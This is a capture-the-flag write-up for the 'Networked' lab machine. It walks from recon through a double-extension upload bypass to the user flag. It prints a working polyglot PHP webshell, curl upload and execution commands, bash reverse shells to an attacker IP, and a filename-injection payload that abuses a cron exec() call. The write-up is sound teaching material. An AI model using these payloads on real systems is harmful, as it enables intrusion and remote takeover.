Post

Networked

An exposed source backup reveals an upload filter that trusts forged PNG magic bytes and only checks the trailing extension, so a shell.php.png webshell yields code execution as apache; a root cron job that feeds upload filenames straight into a shell exec() is then abused with a malicious filename to pivot to the guly user and the user flag.

Networked

Overview

Networked is an easy Linux box whose web root exposes a backup.tar of its own PHP source. Reading it shows an upload filter with two weak checks — a magic-byte MIME sniff and a suffix-only extension test — both of which a shell.php.png file defeats, giving execution as apache. From there a root cron job (check_attack.php) concatenates upload filenames into a shell exec() with no escaping, so a crafted filename injects a command and lands a shell as guly for the user flag. This post covers recon through user.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Source-backup enumeration exposes double-extension upload and a cron exec() injection requiring a hand-built polyglot webshell and crafted malicious filename; no CVE, custom-chaining is the standout.

Recon

PortServiceNotes
22/tcpOpenSSH 7.4default
80/tcpApache 2.4.6 (CentOS), PHP/5.4.16“FaceMash” landing page
1
2
nmap -p- --min-rate=1000 -T4 10.10.10.146
nmap -p22,80 -sC -sV 10.10.10.146

Port 80 shows a placeholder page (“Hello mate, we’re building the new FaceMash!”). Nothing else is interactive, so move to content discovery.

Enumeration

1
gobuster dir -u http://10.10.10.146/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php
1
2
3
4
5
6
/index.php   (Status: 200)
/uploads     (Status: 301)
/photos.php  (Status: 200)
/upload.php  (Status: 200)
/lib.php     (Status: 200)
/backup      (Status: 301)

upload.php accepts files and photos.php displays them, but the prize is /backup — it holds a tar archive of the application source:

1
2
wget http://10.10.10.146/backup/backup.tar
tar xvf backup.tar    # index.php lib.php photos.php upload.php

Reading upload.php and lib.php reveals the two flaws that chain together:

  • MIME check by magic bytes. check_file_type() calls mime_content_type(), which infers the type from the file’s leading bytes — fully attacker-controlled. Prepend a PNG header and it reports image/png.
  • Suffix-only extension check. The allow-list uses substr_compare($name, $ext, -strlen($ext)), which only verifies the name ends in .jpg/.png/.gif/.jpeg. It never rejects an extra extension earlier in the name, so shell.php.png passes — and Apache happily executes the .php part.

The stored filename is derived from REMOTE_ADDR with dots replaced by underscores, plus the original extension — so an upload from 10.10.14.2 becomes 10_10_14_2.php.png.

Foothold

1 — Build a polyglot webshell. Start the file with the PNG magic bytes (89 50 4E 47 0D 0A 1A 0A), then append a PHP one-liner:

1
2
printf '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' > mime_shell.php.png
printf '<?php system($_REQUEST["cmd"]); ?>' >> mime_shell.php.png

2 — Upload and confirm RCE. The MIME sniff sees PNG, the extension check sees .png, and the file is saved under /uploads/ with a .php.png name that Apache executes:

1
2
3
curl -s -F "myFile=@mime_shell.php.png" -F "submit=go!" http://10.10.10.146/upload.php
curl -s "http://10.10.10.146/uploads/10_10_14_2.php.png?cmd=id"
# -> uid=48(apache) gid=48(apache) groups=48(apache)

3 — Reverse shell as apache.

1
2
3
rlwrap nc -lvnp 1234
curl -G --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.2/1234 0>&1"' \
  http://10.10.10.146/uploads/10_10_14_2.php.png

4 — Pivot to guly via cron command injection. In /home/guly there is a cron file and a script:

1
cat /home/guly/crontab.guly /home/guly/check_attack.php

crontab.guly runs php /home/guly/check_attack.php every 3 minutes (as guly). That script scans /var/www/html/uploads/ and deletes “invalid” files by concatenating the filename straight into a shell command:

1
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$value (the filename) is never escaped, so a filename starting with ; terminates the rm and runs whatever follows. / is illegal in filenames, so base64-encode the payload and decode it inline. Create the malicious file from the apache shell and wait for the cron:

1
2
3
echo 'bash -c "bash -i >/dev/tcp/10.10.14.2/4444 0>&1"' | base64
cd /var/www/html/uploads
touch -- ';echo <BASE64_PAYLOAD>| base64 -d | bash'
1
2
3
4
nc -lvnp 4444
# Connection from 10.10.10.146 ...
# uid=1000(guly) gid=1000(guly) groups=1000(guly)
python -c "import pty;pty.spawn('/bin/bash')"

User flag

The cron payload returns a shell as guly, who owns the user flag:

1
2
cat /home/guly/user.txt
# [redacted]

Command execution as guly and the user flag are ours.

Privilege escalation (the sudo changename.sh ifcfg network-scripts injection to root) is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.